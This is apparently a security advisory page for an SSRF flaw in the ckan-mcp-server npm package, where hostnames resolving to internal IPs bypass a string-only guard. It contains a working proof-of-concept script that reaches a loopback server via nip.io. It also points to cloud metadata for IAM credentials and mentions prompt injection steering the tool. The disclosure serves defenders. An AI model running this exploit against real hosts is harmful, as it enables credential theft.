Medium

@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509

  • Disclosed: 22.09.2026
  • Updated: 11.10.2026 10:22

Summary

The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.

Affected / patched

  • @aborruso/ckan-mcp-server (npm) — all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.

Severity

It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).

Root cause — src/utils/http.ts, validateServerUrl

The guard blocks IP literals and three loopback alias strings, but does no name resolution:

ts
const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed

Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.

Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass — Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.

Proof of concept

Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.

bash
npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk
node poc.mjs
js
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;

const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
  command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));

// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });

const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();

Output:

SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}

A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.

Impact

Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.

Suggested fix

Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @aborruso/ckan-mcp-server < 0.4.108 0.4.108

References

CVSS score 5.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-918
Platform
npm
Package
@aborruso/ckan-mcp-server
Disclosed
22.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-798p-78g2-v556 - CC BY 4.0

Vulnerability history: @aborruso/ckan-mcp-server

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
03.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 5
  • Low 2

Disclosures per year

  1. 2026: 7
  1. @aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509 this entry
    Medium · 5.7 CVE-2026-61612 < 0.4.108 0.4.108
  2. Low · 3.7 CVE-2026-73844 < 0.4.112 0.4.112

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.